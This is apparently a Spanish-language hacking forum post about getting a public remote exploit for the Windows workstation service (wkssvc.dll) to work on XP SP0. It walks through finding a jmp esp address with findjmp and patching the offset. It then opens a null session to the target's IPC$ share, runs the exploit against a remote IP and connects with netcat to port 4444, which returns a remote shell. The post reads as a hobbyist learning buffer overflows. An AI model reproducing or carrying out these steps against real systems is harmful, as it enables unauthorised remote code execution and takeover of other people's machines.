Exploit @
http://www.securitylab.ru/_exploits/0349.c.txtSegun parece: i can only get this to work on XP. Win2k responds with like op rng error stating
Simplemente me he limitado a quitar #include "LMJoin.h" pq me da error al compilar (en algunas paginas de M$ MSDN se hace referencia a ella pero no la he conseguido encontrar por ningun sitio)
y a modificar el offset en la linea DWORD jmpesp = 0x7518A747;
c:\findjmp wkssvc.dll esp
Scanning wkssvc.dll for code useable with the esp register
0x75109975 push esp - ret
0x7511A747 jmp esp
0x7511C890 push esp - ret
Finished Scanning wkssvc.dll for code useable with the esp register
Found 3 usable addressesJejejeje, tp difieren mucho los offsets para un Win XP Sp0 ruso y uno español....
Solo he conseguido q me compile con el VC++ (el dev c++ me daba muchos fallos ·_·U ) y al construir el ejecutable no da problemas...
Lo he probado remotamente, desde un win xp sp0 a otro... pero primero hay q establecer una sesion nula al IPC$ remoto...
c:\net use \\ip_remota\IPC$ "" /user: ""
c:\0349 ip_remota 0
Attacking: ip_remota
GetProcAddr: 71bf9530
Sending exploit, you should be able to nc to the hostAbro nueva consola...
c:\nc ip_remota 4444 Boum!!!! obtengo c:\windows\system32 remoto!!
Despues de cerrar la conexion...
1) en el equipo atacado, haciendo un netstat -an, todavia queda el CLOSE_WAIT. Hasta el siguiente reinicio no he podido volver a obtener el shell remoto con nc.
2) en el equipo atacante, aparece una ventana de windows q dice el siguiente mensaje:
***********************************
Microsoft Visual c++ Debug Library
Debug Error!
Program: c:\xploit.exe
Module:
File: i386\chkesp.c
Line: 42
The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention.
Anular, Reintentar, Omitir
***********************************
Bueno, antes de ejecutar el exploit, probe el shellcode y se empezaron a abrir/cerrar un monton de ventanas de consola de forma incontrolada. Tuve q reiniciar!!
PD: Gracias a Rojodos, Potato, Derek.... por toda la informacion q he podido encontrar en este foro, ha sido de gran ayuda...
Ahora viene lo mejor, entender todo el codigo del exploit, aprender como funcionan las shellcodes, toda la teoria del buffer overflow, etc... solo necesitaba un aliciente para empezar con ello ^_^
PD2: A ver si consigo q me rulen el resto de exploits q andan por aqui....
Saludos....